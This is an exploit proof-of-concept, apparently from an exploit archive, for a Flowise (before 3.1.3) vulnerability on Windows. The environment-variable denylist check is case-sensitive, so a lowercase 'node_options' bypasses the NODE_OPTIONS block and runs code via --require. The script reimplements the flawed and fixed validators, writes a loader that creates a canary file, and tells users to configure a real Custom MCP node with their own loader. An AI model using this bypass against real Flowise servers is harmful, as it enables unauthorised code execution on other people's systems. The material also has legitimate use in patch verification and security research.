Flowise 3.1.3 – arbitrary code execution
# Exploit Title: Flowise 3.1.3 - arbitrary code execution # CVE: CVE-2026-58057 # Date: 2026-06-29 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: https://github.com/mbanyamer # Author Blog : https://banyamersecurity.com/blog/ # Vendor Homepage: https://flowiseai.com # Software Link: https://github.com/FlowiseAI/Flowise # Affected: Flowise < 3.1.3 (Windows deployments) # Tested on: Windows + Flowise 3.1.2 # Category: Remote Code Execution # Platform: Windows # Exploit Type: Authenticated # CVSS: 2.3 (Medium) # Description: On Windows, the Custom MCP stdio environment variable validation uses case-sensitive comparison. # Supplying "node_options" bypasses the NODE_OPTIONS denylist and allows arbitrary code execution via --require. # Fixed in: 3.1.3 (switched to allow-list) # Usage: # python3 exploit.py # # Examples: # python3 exploit.py # python3 exploit.py --marker C:\\Temp\\pwned.txt # # Notes: # • Requires authenticated access to configure Custom MCP node # • Only affects Windows deployments # • Demonstrates bypass + canary RCE # # How to Use # # Step 1: Run the PoC to validate the bypass # Step 2: In Flowise, configure a Custom MCP node with "node_options" env var pointing to your loader import argparse import json import os import pathlib import platform import shutil import subprocess import sys import tempfile def flowise_style_validate(env): dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"} for key, value in env.items(): if key in dangerous: raise ValueError(f"Environment variable {key!r} modification is not allowed") if "\x00" in key or "\x00" in str(value): raise ValueError("Environment variables cannot contain null bytes") def normalized_validate(env): dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"} for key, value in env.items(): if key.upper() in dangerous: raise ValueError(f"Environment variable {key!r} modification is not allowed") if "\x00" in key or "\x00" in str(value): raise ValueError("Environment variables cannot contain null bytes") def run_node_canary(marker): node = shutil.which("node") if not node: return {"node_found": False, "canary_created": False} marker_path = pathlib.Path(marker).resolve() loader_path = marker_path.with_suffix(".loader.js") loader_path.write_text( "require('fs').writeFileSync(process.env.FLOWISE_POC_MARKER, 'node_options honored - RCE achieved!')\n", encoding="utf-8", ) env = os.environ.copy() env.pop("NODE_OPTIONS", None) env.pop("node_options", None) env["node_options"] = f"--require {loader_path}" env["FLOWISE_POC_MARKER"] = str(marker_path) if marker_path.exists(): marker_path.unlink() completed = subprocess.run( [node, "-e", "process.exit(0)"], env=env, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True ) return { "node_found": True, "node": node, "returncode": completed.returncode, "stderr": completed.stderr.strip(), "marker": str(marker_path), "canary_created": marker_path.exists(), "canary_content": marker_path.read_text(encoding="utf-8") if marker_path.exists() else "", } def run(marker): exact_upper_blocked = False lower_variant_accepted = False normalized_blocks_lower = False try: flowise_style_validate({"NODE_OPTIONS": "--require blocked.js"}) except ValueError: exact_upper_blocked = True try: flowise_style_validate({"node_options": "--require accepted.js"}) lower_variant_accepted = True except ValueError: lower_variant_accepted = False try: normalized_validate({"node_options": "--require accepted.js"}) except ValueError: normalized_blocks_lower = True node_result = run_node_canary(marker) result = { "platform": platform.platform(), "windows": os.name == "nt", "flowise_style_exact_upper_blocked": exact_upper_blocked, "flowise_style_lower_variant_accepted": lower_variant_accepted, "normalized_validator_blocks_lower_variant": normalized_blocks_lower, "node_canary": node_result, "finding_reproduced": lower_variant_accepted and (node_result.get("canary_created") if os.name == "nt" else True), } print(json.dumps(result, indent=2)) return 0 if result["finding_reproduced"] else 1 def banner(): print(r""" ╔██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗╗ ║██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║ ║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ███████╔╝ ║██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗ ║██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╔═╗ Banyamer Security ╔═╗ """) def main(): banner() parser = argparse.ArgumentParser(description="CVE-2026-58057 PoC") parser.add_argument("--marker", default=str(pathlib.Path(tempfile.gettempdir()) / "flowise_node_options_case_bypass_marker.txt")) args = parser.parse_args() raise SystemExit(run(args.marker)) if __name__ == "__main__": main() |